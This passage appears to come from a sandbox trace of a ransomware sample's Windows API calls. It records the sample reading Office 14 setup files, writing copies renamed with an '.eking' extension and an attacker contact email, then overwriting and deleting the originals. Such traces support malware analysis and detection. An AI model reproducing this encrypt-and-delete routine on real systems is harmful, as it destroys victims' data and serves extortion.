lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0275.855] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x110102, lpOverlapped=0x0) returned 1 [0275.860] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x25e8e, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x25e8e, lpOverlapped=0x0) returned 1 [0275.861] FlushFileBuffers (hFile=0x100) returned 1 [0276.585] FlushFileBuffers (hFile=0x1c8) returned 1 [0277.284] CloseHandle (hObject=0x100) returned 1 [0277.285] CloseHandle (hObject=0x1c8) returned 1 [0277.285] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 1 [0277.286] SetEvent (hEvent=0xe0) returned 1 [0277.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0277.287] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=5557) returned 1 [0277.287] CloseHandle (hObject=0x19c) returned 1 [0277.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0277.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0277.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0277.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0277.288] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0277.288] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0277.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0277.288] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x15b5, lpOverlapped=0x0) returned 1 [0277.330] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x15c0, lpOverlapped=0x0) returned 1 [0277.331] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0277.331] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0277.331] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0277.331] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x15b5, lpOverlapped=0x0) returned 1 [0277.332] FlushFileBuffers (hFile=0x19c) returned 1 [0277.352] FlushFileBuffers (hFile=0x1c8) returned 1 [0277.360] CloseHandle (hObject=0x19c) returned 1 [0277.360] CloseHandle (hObject=0x1c8) returned 1 [0277.364] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0277.365] SetEvent (hEvent=0xe0) returned 1 [0277.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0277.366] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=191872) returned 1 [0277.366] CloseHandle (hObject=0x1c8) returned 1 [0277.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0277.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0277.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0277.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0277.366] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0277.366] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0277.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x19c [0277.367] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x2ed80, lpOverlapped=0x0) returned 1 [0277.437] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x2ed90, lpOverlapped=0x0) returned 1 [0277.440] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0277.441] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0277.441] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0277.441] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2ed80, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x2ed80, lpOverlapped=0x0) returned 1 [0277.442] FlushFileBuffers (hFile=0x1c8) returned 1 [0277.617] FlushFileBuffers (hFile=0x19c) returned 1 [0277.907] CloseHandle (hObject=0x1c8) returned 1 [0277.908] CloseHandle (hObject=0x19c) returned 1 [0277.908] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 1 [0277.911] SetEvent (hEvent=0xe0) returned 1 [0277.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0277.912] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=37689) returned 1 [0277.912] CloseHandle (hObject=0x19c) returned 1 [0277.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0277.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0277.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0277.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0277.913] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0277.913] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0277.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0277.913] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x9339, lpOverlapped=0x0) returned 1 [0278.066] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x9340, lpOverlapped=0x0) returned 1 [0278.068] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0278.068] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0278.068] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0278.068] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x9339, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x9339, lpOverlapped=0x0) returned 1 [0278.069] FlushFileBuffers (hFile=0x19c) returned 1 [0278.478] FlushFileBuffers (hFile=0x1c8) returned 1 [0278.633] CloseHandle (hObject=0x19c) returned 1 [0278.633] CloseHandle (hObject=0x1c8) returned 1 [0278.633] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0278.636] SetEvent (hEvent=0xe0) returned 1 [0278.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0278.636] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=67190) returned 1 [0278.636] CloseHandle (hObject=0x1c8) returned 1 [0278.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0278.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0278.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0278.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0278.637] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0278.637] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0278.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x19c [0278.637] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x10676, lpOverlapped=0x0) returned 1 [0278.644] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x10680, lpOverlapped=0x0) returned 1 [0278.645] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0278.646] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0278.646] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0278.646] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10676, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x10676, lpOverlapped=0x0) returned 1 [0278.646] FlushFileBuffers (hFile=0x1c8) returned 1 [0278.902] FlushFileBuffers (hFile=0x19c) returned 1 [0279.066] CloseHandle (hObject=0x1c8) returned 1 [0279.066] CloseHandle (hObject=0x19c) returned 1 [0279.066] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0279.068] SetEvent (hEvent=0xe0) returned 1 [0279.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0279.068] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2362) returned 1 [0279.069] CloseHandle (hObject=0x19c) returned 1 [0279.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0279.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0279.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0279.069] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0279.069] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0279.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0279.069] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x93a, lpOverlapped=0x0) returned 1 [0279.075] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x940, lpOverlapped=0x0) returned 1 [0279.076] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0279.077] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0279.077] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0279.077] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x93a, lpOverlapped=0x0) returned 1 [0279.077] FlushFileBuffers (hFile=0x19c) returned 1 [0279.195] FlushFileBuffers (hFile=0x1c8) returned 1 [0279.245] CloseHandle (hObject=0x19c) returned 1 [0279.245] CloseHandle (hObject=0x1c8) returned 1 [0279.246] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0279.247] SetEvent (hEvent=0xe0) returned 1 [0279.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0279.248] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1606) returned 1 [0279.249] CloseHandle (hObject=0x1c8) returned 1 [0279.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0279.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0279.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0279.249] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 